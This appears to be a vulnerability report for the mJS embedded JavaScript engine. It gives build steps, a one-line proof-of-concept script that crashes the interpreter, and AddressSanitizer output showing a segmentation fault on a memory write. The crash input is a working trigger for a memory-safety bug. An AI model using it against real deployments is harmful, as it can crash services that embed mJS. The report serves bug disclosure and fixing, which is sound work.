SEGV (/usr/local/bin/mjs+0x8814e)

[hope-fly]

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make

Test case

poc.js

```javascript
JSON.stringify--(JSON.stringify(typeof print));
```

Execution steps & Output

$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==58172==ERROR: AddressSanitizer: SEGV on unknown address 0x55c8c4e9b0dc (pc 0x55c8c4e9b14f bp 0x00000000004c sp 0x7ffe0757c308 T0)
==58172==The signal is caused by a WRITE memory access.
    #0 0x55c8c4e9b14e  (/usr/local/bin/mjs+0x8814e)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0x8814e)
==58172==ABORTING

Credits: Found by OWL337 team.